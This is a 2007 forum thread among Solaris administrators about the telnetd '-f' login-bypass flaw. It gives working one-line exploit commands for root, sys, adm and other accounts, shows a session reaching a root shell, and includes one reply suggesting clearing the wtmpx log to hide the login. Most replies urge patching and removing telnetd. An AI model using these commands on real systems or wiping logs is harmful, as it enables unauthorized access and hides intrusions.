Telnet Vulnerability - Solaris

This is a discussion on Telnet Vulnerability - Solaris ; I am really surprised this hasn't been posted here yet but here goes. It is now public knowledge to many about the "telnetd" vulnerability and by default Solaris ships with this enabled. And via services it runs by default if ...

+ Reply to Thread
Page 1 of 2 1 2 LastLast
Results 1 to 20 of 25

Thread: Telnet Vulnerability

  1. Telnet Vulnerability

    I am really surprised this hasn't been posted here yet but here goes.

    It is now public knowledge to many about the "telnetd" vulnerability and by
    default Solaris ships with this enabled. And via services it runs by
    default if installed. For those that have reacted and are aware, great.
    Slashdot I believed posted it on Sunday.

    This works on Solaris 10 for x86 AND Sparc. As far as I can tell **all**
    Solaris 10 systems are vulnerable. A patched Solaris 8 seems immune and my
    Solaris 9 instance has had telnetd removed for many years. But this is
    trivial to test.

    It has been published as from a Solaris (8/9/10) system to a target Solaris
    10 system execute:

    telnet -l"-froot" 172.30.1.113

    Which caused one of my clients to say they were not vulnerable. However
    they were. You just have to think like a hacker... try all of:

    telnet -l"-froot"
    telnet -l"-fadm"
    telnet -l"-fbin"
    telnet -l"-fsys" << my fav, I can read
    kernel memory!
    telnet -l"-foracle"
    telnet -l"-f"

    In fact, try any ID in /etc/passwd and your in. I didn't check /bin/false
    as a shell... so it might block it. But the point is although it may not
    work for root because you have a good default setting in /etc/default/login,
    it does allow this to work for may favourite alternate of "sys".

    DUMP TELNETD!! If management resists - put it in business terms. Running
    telnetd today, or even having it on a xNIX system is enough proof that due
    diligence is not been taken in managing your systems. You would be deemed
    recklessly culpable.

    My recommendations:

    - make sure Secure Shell is working and running.
    - using pkgrm remove the root and user portion, leave the client as it is
    good for testing some stuff
    - do the same with ftpd, use scp/sftp instead.
    - if your running rexec stuff, look for another job.

    Skip "svcadm disable telnetd", remove it. That way a patch or hacker can't
    use it.

    RIP - telnetd.



  2. Re: Telnet Vulnerability

    On Wed, 14 Feb 2007 02:42:41 +0000, Canuck57 wrote:

    > I am really surprised this hasn't been posted here yet but here goes.
    >
    > It is now public knowledge to many about the "telnetd" vulnerability and by
    > default Solaris ships with this enabled. And via services it runs by
    > default if installed. For those that have reacted and are aware, great.
    > Slashdot I believed posted it on Sunday.
    >
    > This works on Solaris 10 for x86 AND Sparc. As far as I can tell **all**
    > Solaris 10 systems are vulnerable. A patched Solaris 8 seems immune and my
    > Solaris 9 instance has had telnetd removed for many years. But this is
    > trivial to test.
    >
    > It has been published as from a Solaris (8/9/10) system to a target Solaris
    > 10 system execute:
    >
    > telnet -l"-froot" 172.30.1.113
    >
    > Which caused one of my clients to say they were not vulnerable. However
    > they were. You just have to think like a hacker... try all of:
    >
    > telnet -l"-froot"
    > telnet -l"-fadm"
    > telnet -l"-fbin"
    > telnet -l"-fsys" << my fav, I can read
    > kernel memory!
    > telnet -l"-foracle"
    > telnet -l"-f"
    >
    > In fact, try any ID in /etc/passwd and your in. I didn't check /bin/false
    > as a shell... so it might block it. But the point is although it may not
    > work for root because you have a good default setting in /etc/default/login,
    > it does allow this to work for may favourite alternate of "sys".
    >
    > DUMP TELNETD!! If management resists - put it in business terms. Running
    > telnetd today, or even having it on a xNIX system is enough proof that due
    > diligence is not been taken in managing your systems. You would be deemed
    > recklessly culpable.
    >
    > My recommendations:
    >
    > - make sure Secure Shell is working and running.
    > - using pkgrm remove the root and user portion, leave the client as it is
    > good for testing some stuff
    > - do the same with ftpd, use scp/sftp instead.
    > - if your running rexec stuff, look for another job.
    >
    > Skip "svcadm disable telnetd", remove it. That way a patch or hacker can't
    > use it.
    >
    > RIP - telnetd.


    Also see:
    http://sunsolve.sun.com/search/docum...=1-26-102802-1
    for patch.
    Who uses telnet?

  3. Re: Telnet Vulnerability

    Canuck57 wrote:
    > I am really surprised this hasn't been posted here yet but here goes.
    >
    >


    It was posted to this group, it's not a "root" exploit and there's a
    patch available.

    HTH


  4. Re: Telnet Vulnerability


    On 2007-02-14, Sam N wrote:
    > Canuck57 wrote:
    >> I am really surprised this hasn't been posted here yet but here goes.
    >>
    >>

    >
    > It was posted to this group, it's not a "root" exploit and there's a
    > patch available.
    >

    No it IS a "root" exploit

    $ telnet -l -froot panter^M
    Trying xxxxxx...^M^M
    Connected to xxxxxx (xxx.xxx.xxx.xxx).^M^M
    Escape character is '^]'.^M^M
    Last login: Tue Feb 13 11:48:43 from xxxxxxxxxx
    xxxxxx# id^M
    uid=0(root) gid=0(root)^M
    xxxxxx#


    peter

  5. Re: Telnet Vulnerability

    Peter van Hooft writes:


    >On 2007-02-14, Sam N wrote:
    >> Canuck57 wrote:
    >>> I am really surprised this hasn't been posted here yet but here goes.
    >>>
    >>>

    >>
    >> It was posted to this group, it's not a "root" exploit and there's a
    >> patch available.
    >>

    >No it IS a "root" exploit


    If the system has been configured to allow remote root logins (not
    the default, never the default)

    Casper

  6. Re: Telnet Vulnerability

    On 2007-02-14, Casper H.S Dik wrote:
    > Peter van Hooft writes:
    >
    >
    >>On 2007-02-14, Sam N wrote:
    >>> Canuck57 wrote:
    >>>> I am really surprised this hasn't been posted here yet but here goes.
    >>>>
    >>>>
    >>>
    >>> It was posted to this group, it's not a "root" exploit and there's a
    >>> patch available.
    >>>

    >>No it IS a "root" exploit

    >
    > If the system has been configured to allow remote root logins (not
    > the default, never the default)
    >
    > Casper


    Yeah, I know. Don't ask. Of course, ssh has been available
    for solaris for *aeons*, so the need for *not* disabling telnet
    is...disputable?

    But if anyone can login this way as any other user, there's a
    lot of potential damage that can be done.

    peter


  7. Re: Telnet Vulnerability

    On Wed, 14 Feb 2007, Peter van Hooft wrote:

    > No it IS a "root" exploit


    .... Only if one is stupid enough to enable remote root logins, which
    are disabled by default. :-)

    --
    Rich Teer, SCSA, SCNA, SCSECA, OpenSolaris CAB member

    President,
    Rite Online Inc.

    Voice: +1 (250) 979-1638
    URL: http://www.rite-group.com/rich

  8. Re: Telnet Vulnerability

    Rich Teer wrote:
    > On Wed, 14 Feb 2007, Peter van Hooft wrote:
    >
    >> No it IS a "root" exploit

    >
    > ... Only if one is stupid enough to enable remote root logins, which
    > are disabled by default. :-)


    [OT]
    Stupid enough like some Linux distros, such as Redhat Enterprise, that
    allows ssh root login by default. The logs are full of root ssh attempts
    from script kiddies trying to guess root password.
    [/OT]

  9. Re: Telnet Vulnerability

    On 2007-02-13, brian wrote:
    >


    > Who uses telnet?




    Stupid, lazy, incompetent sysadmins who think their Unix security
    department is a pointless nuisance.




    --
    Ignorance more frequently begets confidence than does knowledge: it is those
    who know little, not those who know much, who so positively assert that this
    or that problem will never be solved by science.
    [email me at huge {at} huge (dot) org uk]

  10. Re: Telnet Vulnerability

    On 2007-02-14, Rich Teer wrote:
    > On Wed, 14 Feb 2007, Peter van Hooft wrote:
    >
    >> No it IS a "root" exploit

    >
    > ... Only if one is stupid enough to enable remote root logins, which
    > are disabled by default. :-)




    Which stupid, lazy, incompetent sysadmins routinely do because
    they're too lazy to use sudo.




    --
    Ignorance more frequently begets confidence than does knowledge: it is those
    who know little, not those who know much, who so positively assert that this
    or that problem will never be solved by science.
    [email me at huge {at} huge (dot) org uk]

  11. Re: Telnet Vulnerability

    On 14 fév, 22:58, Huge wrote:
    > On 2007-02-14, Rich Teer wrote:
    >
    > > On Wed, 14 Feb 2007, Peter van Hooft wrote:

    >
    > >> No it IS a "root" exploit

    >
    > > ... Only if one is stupid enough to enable remote root logins, which
    > > are disabled by default. :-)

    >
    >
    >
    > Which stupid, lazy, incompetent sysadmins routinely do because
    > they're too lazy to use sudo.
    >
    >

    >
    > --
    > Ignorance more frequently begets confidence than does knowledge: it is those
    > who know little, not those who know much, who so positively assert that this
    > or that problem will never be solved by science.
    > [email me at huge {at} huge (dot) org uk]


    Even by using ssh, you are better to disable login from root, sys,
    bin,lp etc..
    and only allow some user group to login, and even so, ssh only encript
    your communication, doesn't prevent from weak password , misconfigured
    security etc..
    Zoot


  12. Re: Telnet Vulnerability

    On 2007-02-15, zoot wrote:
    > On 14 fév, 22:58, Huge wrote:
    >> On 2007-02-14, Rich Teer wrote:
    >>
    >> > On Wed, 14 Feb 2007, Peter van Hooft wrote:

    >>
    >> >> No it IS a "root" exploit

    >>
    >> > ... Only if one is stupid enough to enable remote root logins, which
    >> > are disabled by default. :-)

    >>
    >>
    >>
    >> Which stupid, lazy, incompetent sysadmins routinely do because
    >> they're too lazy to use sudo.
    >>
    >>

    >
    > Even by using ssh, you are better to disable login from root, sys,
    > bin,lp etc..
    > and only allow some user group to login, and even so, ssh only encript
    > your communication, doesn't prevent from weak password , misconfigured
    > security etc..


    Yes, I know that, you know that, a lot of people know that.


    But not everyone.



    --
    Ignorance more frequently begets confidence than does knowledge: it is those
    who know little, not those who know much, who so positively assert that this
    or that problem will never be solved by science.
    [email me at huge {at} huge (dot) org uk]

  13. Re: Telnet Vulnerability


    > Even by using ssh, you are better to disable login from root, sys,
    > bin,lp etc..
    > and only allow some user group to login, and even so, ssh only encript
    > your communication, doesn't prevent from weak password , misconfigured
    > security etc..
    > Zoot


    It does if you disable passwords and only allow keys )


  14. Re: Telnet Vulnerability

    Peter van Hooft writes:

    >But if anyone can login this way as any other user, there's a
    >lot of potential damage that can be done.


    Absolutely.

    Casper
    --
    Expressed in this posting are my opinions. They are in no way related
    to opinions held by my employer, Sun Microsystems.
    Statements on Sun products included here are not gospel and may
    be fiction rather than truth.

  15. Re: Telnet Vulnerability


    "Huge" wrote in message
    news:er00je$a1n$1@apophis.demon.co.uk...
    > On 2007-02-13, brian wrote:
    >>

    >
    >> Who uses telnet?

    >
    >
    >
    > Stupid, lazy, incompetent sysadmins who think their Unix security
    > department is a pointless nuisance.
    >
    >


    No shortage of those, I got 6 in an audit of 25 AFTER they declared
    themselves secure. They forgot to patch their workstations and
    boot/recovery servers -- both with juicy access.



  16. Re: Telnet Vulnerability


    "brian" wrote in message
    newsan.2007.02.13.18.40.35.967960@cogeco.ca...
    > On Wed, 14 Feb 2007 02:42:41 +0000, Canuck57 wrote:
    >
    >> I am really surprised this hasn't been posted here yet but here goes.
    >>
    >> It is now public knowledge to many about the "telnetd" vulnerability and
    >> by
    >> default Solaris ships with this enabled. And via services it runs by
    >> default if installed. For those that have reacted and are aware, great.
    >> Slashdot I believed posted it on Sunday.
    >>
    >> This works on Solaris 10 for x86 AND Sparc. As far as I can tell **all**
    >> Solaris 10 systems are vulnerable. A patched Solaris 8 seems immune and
    >> my
    >> Solaris 9 instance has had telnetd removed for many years. But this is
    >> trivial to test.
    >>
    >> It has been published as from a Solaris (8/9/10) system to a target
    >> Solaris
    >> 10 system execute:
    >>
    >> telnet -l"-froot" 172.30.1.113
    >>
    >> Which caused one of my clients to say they were not vulnerable. However
    >> they were. You just have to think like a hacker... try all of:
    >>
    >> telnet -l"-froot"
    >> telnet -l"-fadm"
    >> telnet -l"-fbin"
    >> telnet -l"-fsys" << my fav, I can read
    >> kernel memory!
    >> telnet -l"-foracle"
    >> telnet -l"-f"
    >>
    >> In fact, try any ID in /etc/passwd and your in. I didn't check
    >> /bin/false
    >> as a shell... so it might block it. But the point is although it may not
    >> work for root because you have a good default setting in
    >> /etc/default/login,
    >> it does allow this to work for may favourite alternate of "sys".
    >>
    >> DUMP TELNETD!! If management resists - put it in business terms.
    >> Running
    >> telnetd today, or even having it on a xNIX system is enough proof that
    >> due
    >> diligence is not been taken in managing your systems. You would be
    >> deemed
    >> recklessly culpable.
    >>
    >> My recommendations:
    >>
    >> - make sure Secure Shell is working and running.
    >> - using pkgrm remove the root and user portion, leave the client as it
    >> is
    >> good for testing some stuff
    >> - do the same with ftpd, use scp/sftp instead.
    >> - if your running rexec stuff, look for another job.
    >>
    >> Skip "svcadm disable telnetd", remove it. That way a patch or hacker
    >> can't
    >> use it.
    >>
    >> RIP - telnetd.

    >
    > Also see:
    > http://sunsolve.sun.com/search/docum...=1-26-102802-1
    > for patch.
    > Who uses telnet?


    I like the (not) effectiveness of the CONSOLE setting with sys above.

    The last, login as adm and clear the wtmpx file before exit.



  17. Re: Telnet Vulnerability


    "Casper H.S. Dik" wrote in message
    news:45d31d3c$0$332$e4fe514c@news.xs4all.nl...
    > Peter van Hooft writes:
    >
    >
    >>On 2007-02-14, Sam N wrote:
    >>> Canuck57 wrote:
    >>>> I am really surprised this hasn't been posted here yet but here goes.
    >>>>
    >>>>
    >>>
    >>> It was posted to this group, it's not a "root" exploit and there's a
    >>> patch available.
    >>>

    >>No it IS a "root" exploit

    >
    > If the system has been configured to allow remote root logins (not
    > the default, never the default)
    >
    > Casper


    Casper,

    Try:

    telnet -l"-fsys"

    Going from sys to root isn't that hard.




  18. Re: Telnet Vulnerability


    "Rich Teer" wrote in message
    news:Pine.SOL.4.64.0702140726320.2832@marrakesh...
    > On Wed, 14 Feb 2007, Peter van Hooft wrote:
    >
    >> No it IS a "root" exploit

    >
    > ... Only if one is stupid enough to enable remote root logins, which
    > are disabled by default. :-)



    Rich,

    I don't doubt the patch fixes more...

    But try "telnet -l"-fsys" " on a system with the
    CONSOLE root access denied.




  19. Re: Telnet Vulnerability

    "Canuck57" writes:


    > Try:


    > telnet -l"-fsys"


    > Going from sys to root isn't that hard.



    But it isn't all that easy either.

    More of the system accounts need to be locked, that is
    certainly true.

    Casper
    --
    Expressed in this posting are my opinions. They are in no way related
    to opinions held by my employer, Sun Microsystems.
    Statements on Sun products included here are not gospel and may
    be fiction rather than truth.

  20. Re: Telnet Vulnerability

    On Sat, 17 Feb 2007, Canuck57 wrote:

    > But try "telnet -l"-fsys" " on a system with the
    > CONSOLE root access denied.


    OK:

    rich@marrakesh5503# telnet -l "-fsys" excalibur
    Trying 192.168.0.3...
    telnet: Unable to connect to remote host: Connection refused

    [You didn't think I'd be daft enough have telnet enabled, even
    on my home network, did you? :-)]

    --
    Rich Teer, SCSA, SCNA, SCSECA, OpenSolaris CAB member

    President,
    Rite Online Inc.

    Voice: +1 (250) 979-1638
    URL: http://www.rite-group.com/rich

+ Reply to Thread
Page 1 of 2 1 2 LastLast